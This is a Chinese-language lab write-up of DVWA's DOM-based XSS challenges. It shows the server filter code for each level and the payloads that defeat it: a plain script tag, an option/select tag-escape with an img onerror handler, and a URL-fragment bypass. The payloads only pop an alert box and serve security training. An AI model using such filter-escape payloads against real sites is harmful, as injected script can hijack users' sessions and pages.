[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集

news2024/11/25 21:24:33

[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集

    • XSS(DOM)-low level
    • XSS(DOM)-medium level
      • 源代码
      • 姿势
      • script与option标签
    • XSS(DOM)-high level
      • 源代码
      • 姿势
    • XSS(DOM)-Impossible level
      • 页面源代码
      • 代码审计
    • 总结

免责声明:本文仅分享XSS攻击相关知识,不承担任何法律责任。
DVWA请读者自行安装,本文不再赘述。


XSS(DOM)-low level

源代码未进行任何过滤
复选框中的内容为可变参数
在这里插入图片描述Payload:<script>alert("qiu")</script>
在这里插入图片描述


XSS(DOM)-medium level

源代码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
?> 

这段 PHP 代码主要是用于处理 GET 请求中的 default 参数,它包含了以下几个功能:

  1. 判断是否有 default 参数:通过 array_key_exists() 函数来判断 $_GET 超级全局变量中是否存在名为 default 的键,如果存在并且不为 null,则将其赋值给 $default 变量。

  2. 防止 XSS 攻击:使用 stripos() 函数查找 $default 中是否包含 <script 字符串,如果包含,则表示存在可能的跨站脚本攻击(XSS)风险,此时就会通过 header() 函数将页面重定向到 ?default=English,进而避免了潜在的安全问题

姿势

正常Select时,页面如下:
在这里插入图片描述
采用其它XSS标签
Payload:<img src=1 onerror=alert("qiu")>
页面如下:
在这里插入图片描述上图说明XSS语句被包含在option标签里
此时客户端为:

<select><option <img xss语句>> </option>

因此要想办法使XSS语句逃逸
Payload:></option><img src=1 onerror=alert("qiu")>
在这里插入图片描述此时客户端为:

<select><option></option><img xss语句>> </option>

化简后即为

<select><img xss语句>></option>

由于select标签的存在,XSS语句仍然不可逃逸,加入</select>标签
Payload:></option></select><img src = 1 onerror = alert("qiu")>
此时客户端为:

<select><option></option></select><img xss语句>> </option>

化简后即为

<img xss语句>></option>

由于后面的</option>没有<option>与之匹配,变为

<img xss语句>

在这里插入图片描述
攻击成功:
在这里插入图片描述

script与option标签

<script> <option> 是两个不同的 HTML 标签,它们用于不同的功能和场景。

<script> 标签用于在 HTML 页面中嵌入 JavaScript 脚本代码,通过在浏览器中执行这些脚本来实现一些与用户交互、数据处理、动态效果等相关的功能。常见的应用包括表单验证、事件处理、页面跳转等。

<option> 标签用于制作下拉框(<select>)中选项的列表。每个<option>元素定义了一个可选项目的值和显示文本,通过设置其 value 属性和 innerHTML 属性来定义项目的值和文本。


XSS(DOM)-high level

源代码

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
?> 

这段 PHP 代码主要用于校验 GET 请求中传递的 default 参数,确保其只能是预定义的几个语言之一,从而防止恶意用户篡改参数值或者输入非法内容。

  1. 判断是否有 default 参数:使用 array_key_exists() 函数来判断 $_GET 超级全局变量中是否存在名为 default 的键,如果存在并且不为 null,则继续进行后续校验;否则直接跳过。

  2. 预定义可接受的语言列表:在 switch 语句中实现一个白名单机制,将可接受的语言作为取值,所有其他语言都会默认被转换为英语。这里的语言包括:英语、法语、德语和西班牙语。

  3. 实施重定向策略:如果用户输入的语言不在白名单列表中,则会通过 header() 函数将页面重定向到 ?default=English,这样就避免了潜在的安全漏洞。

姿势

原理: 该JavaScript 函数为客户端HTML页面中对表单元素进行限制和过滤,不涉及与服务端的通信和交互。因此,即使该 JavaScript 代码被恶意用户修改,也不会影响到服务器端对表单参数的处理结果。
由于#后的代码在客户端被注释,因此注入语句不会被传入服务器端,从而达到注入效果。

Payload:#<script>alert("qiu")</script>
在这里插入图片描述


XSS(DOM)-Impossible level

页面源代码

if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
    document.write("<option value='" + lang + "'>" + (lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

代码审计

  1. 判断 URL 是否包含 default 参数:使用 indexOf() 函数来判断当前页面的 URL 是否包含字符串 "default=",如果包含则返回相应的位置,否则返回 -1

  2. 获取 default 参数的值:如果 URL 中包含 default 参数,则使用 substring() 函数来获取该参数的值,具体方式是从 URL 中 "default=" 字符串后面开始截取,长度为 8(即 "default=" 的长度),得到 lang 变量。

  3. 动态生成 HTML table 控件选项:使用 document.write() 函数来输出 HTML 代码,首先输出 lang 变量对应的选项(如果存在),然后输出 ---- 分隔符选项,最后分别输出英语、法语、西班牙语和德语等可选项。其中,每个选项都被定义为一个 option 标签,并且包括一个 value 属性和显示文本。如果 lang 变量为空,则表示没有 default 参数,此时不需要输出任何额外的选项。


总结

以上为[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集,读者可借此入门XSS(DOM)渗透姿势。
后续将分享[网络安全]DVWA之XSS(Reflected)攻击姿势及解题详析合集。
我是
秋说
,我们下次见。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/539054.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

有标签的各种图片大小的宫格拼图

当自己的数据集是从大图中切割下来的小图&#xff08;根据检测框外括一小部分比例的抠图&#xff0c;后续更新此方法&#xff09;&#xff0c;此时数据集一定是大小不一的图片&#xff0c;若每张都直接输入进行训练那么太小的图片会失真严重&#xff0c;本篇对此提出了解决方法…

阻塞赋值和非阻塞赋值

FPGA这一块和C语言不太一样。 学习FPGA&#xff0c;必须时刻有时钟的概念&#xff0c;而单片机时钟相关性就比较差&#xff0c;FPGA必须把握每一个时钟。 首先介绍一下&#xff0c;非阻塞赋值&#xff0c;这个在时序逻辑里面经常遇见。 reg A&#xff1b; reg B&#xff1b;…

Python绘制柱状图并美化

python绘图合集 往期绘图合集 python绘制简单的折线图 python读取excel中数据并绘制多子图多组图在一张画布上 python绘制带误差棒的柱状图 python绘制多子图并单独显示 python读取excel数据并绘制多y轴图像 本期讲一下python绘制柱状图并使用不同颜色给柱子上色&#xff0c;设…

python@切片slice对象@sequence@range@arange

文章目录 python文档查阅tipsrangenumpy arangenumpy arangepython range&#x1f388; collections容器的抽象基类eg sequence&#x1f388;python序列类型slice切片slice()内置方法itertools.slice()方法 python切片slicesequencerangearange python文档查阅tips preface:想…

【软件测试】软件测试为什么会用到Linux?

作为软件测试工程师&#xff0c;我们首先要知道linux是啥&#xff1f;Linux是操作系统&#xff0c;我们常用的操作系统有Windows和linux&#xff0c;他们的区别是&#xff1a; 一、免费与收费 在中国&#xff0c;windows和linux都是免费的&#xff0c;至少对个人用户是如此&…

iTOP-RK3568开发板Uboot参数-内核启动参数cmdline

目前 cmdline 参数有多个来源,由 U-Boot 进行拼接、过滤重复数据之后再 传给 kernel。U-Boot 阶段的 cmdline 被保存在 bootargs 环境变量中。U-Boot 最 终是通过修改的 kernel DTB 里的 /chosen/bootargs 实现 cmdline 传递。 cmdline 是 uboot 引导内核启动时传递给内核的…

chatgpt赋能Python-left_on_python

了解Python中的left_on函数 在Python编程中&#xff0c;left_on是一个非常重要的函数&#xff0c;特别是在数据处理中。这个函数可以帮助开发者快速、准确地合并或匹配数据&#xff0c;从而更好地分析和处理数据。本篇文章将介绍left_on函数的基本用法和语法&#xff0c;以及在…

chatgpt赋能Python-pycharm主函数

PyCharm主函数&#xff1a;让Python编程更加高效 如果你是一名Python工程师&#xff0c;那么你一定离不开一个优秀的Python集成开发环境&#xff08;IDE&#xff09;。而在这个领域中&#xff0c;PyCharm绝对是最好的之一。其中&#xff0c;PyCharm主函数是一项非常重要的功能…

MSF入侵安卓手机

MSF是Metasploit的简称&#xff0c;Metasploit是一款开源的安全漏洞检测工具&#xff0c;非常强大&#xff0c;分别有Windows版和Linux版&#xff0c;工具里集成了许多微软公布的漏洞(0day)。 我这里做测试的系统是Backbox linux &#xff0c;这是一款网络渗透&#xff0c;信息…

物联网|串口的编程技巧|发送函数分析|初始化函数|IAR显示行号|串口的数据格式|数据帧的设计思路|物联网之蓝牙4.0 BLE基础-学习笔记(9)

文章目录 串口的编程技巧发送函数分析串口&#xff08;UART0)初始化函数主函数体完整代码&#xff1a;TIPS1:IAR显示行号TIPS2:IAR编译出现 Fatal Error[e72]: Segment BANKED_CODE must be defined解决方法&#xff1a; 串口的数据格式 串口的编程技巧 发送函数分析 void Ua…

chatgpt赋能Python-pycharm爬虫电影代码

PyCharm爬虫电影代码详解 作为一位有着10年python编程经验的工程师&#xff0c;我想分享一下关于PyCharm爬虫电影代码的详细介绍和使用方法。 PyCharm简介 PyCharm是由JetBrains开发的一款Python IDE&#xff0c;它为Python开发者提供了一站式的开发环境&#xff0c;包括代码…

WALN网络不存在? 离谱事件解决方法

前情&#xff1a; 本来在高高兴兴赶ddl&#xff0c;突然发现网断了。尝试重连&#xff0c;显示无法连接... 遂重启&#xff0c;结果事情更糟了&#xff0c;WALN就没了&#xff0c;没了&#xff0c;没了... 这张是修好之后的图&#xff0c;但是当时所有包括蓝牙&#xff0c;waln…

例2:子流程

例&#xff1a;如图所示流程&#xff0c;物流Feed经冷却器Chiller冷却后进入子流程Sub进行气液分离。物性包选择Peng-Robinson。 目录 &#xff08;1&#xff09;新建模拟&#xff08;2&#xff09;创建组分列表&#xff08;3&#xff09;定义物性包&#xff08;4&#xff09;…

Goldengate Monitor Agent 安装

Goldengate Monitor & Agent GoldenGate Monitor基础知识1.GoldenGate Monitor介绍2.GoldenGate Monitor 的技术架构如下&#xff1a;3.Oracle GoldenGate4.GoldenGate Monitor Server5.GoldenGate Monitor Repository6.GoldenGate Monitor AgentGOLDENGATE MONITOR安装安…

计算机基础知识之字符编码

目录 1、基础知识2、ASCII编码3、编码格式4、多字节字符集&#xff08;MBCS&#xff09;和中文字符集5、ANSI 标准、国家标准、 ISO 标准6、Unicode 编码7、 UTF-8编码 1、基础知识 &#x1f449;字符&#xff1a;是各种文字和符号的总称&#xff0c;包括各个国家的文字&#…

nodejs进阶(6)—连接MySQL数据库

1. 建库连库 连接MySQL数据库需要安装支持 npm install mysql 我们需要提前安装按mysql sever端 建一个数据库mydb1 mysql> CREATE DATABASE mydb1; mysql> SHOW DATABASES; -------------------- | Database | -------------------- | information_schem…

IOS描述文件制作教程​

转载&#xff1a;IOS描述文件制作教程 iOS描述文件(.mobileprovision)一键申请 在主界面上点击描述文件按钮。 ​ 编辑切换为居中 添加图片注释&#xff0c;不超过 140 字&#xff08;可选&#xff09; 新建ios描述文件 然后点击新建&#xff0c;然后输入描述文件名称&…

chatgpt赋能Python-phython_抓取数据

Python 抓取数据的SEO 介绍 在今天的数字化时代&#xff0c;数据是企业的核心资产之一。然而&#xff0c;这些数据往往散布在网络上的不同源头。大多数的企业需要使用各种不同的技术来从各种不同的来源中抓取数据。Python 是一种强大的工具&#xff0c;可以使这个过程更加简单…

【Linux内核】自旋锁spinlock机制

自旋锁 Note: 在使用自旋锁时应该避免长时间持有锁&#xff0c;否则可能会导致其他线程或进程无法访问共享资源。因此&#xff0c;建议将锁的持有时间尽量缩短&#xff0c;以提高系统的并发性能。 Linux中的自旋锁机制是一种用于同步多个线程或进程访问共享资源的技术。当一个…

chatgpt赋能Python-nan在python

Nan在Python中的介绍 Nan是Python中的一个特殊值&#xff0c;它代表非数值&#xff08;Not a Number&#xff09;。在Python中&#xff0c;Nan常被用于表示缺失值或无意义的数值。 Nan的意义 Nan在Python中的意义与其他编程语言中的NaN类似。它表示一个数值是未定义或无法计…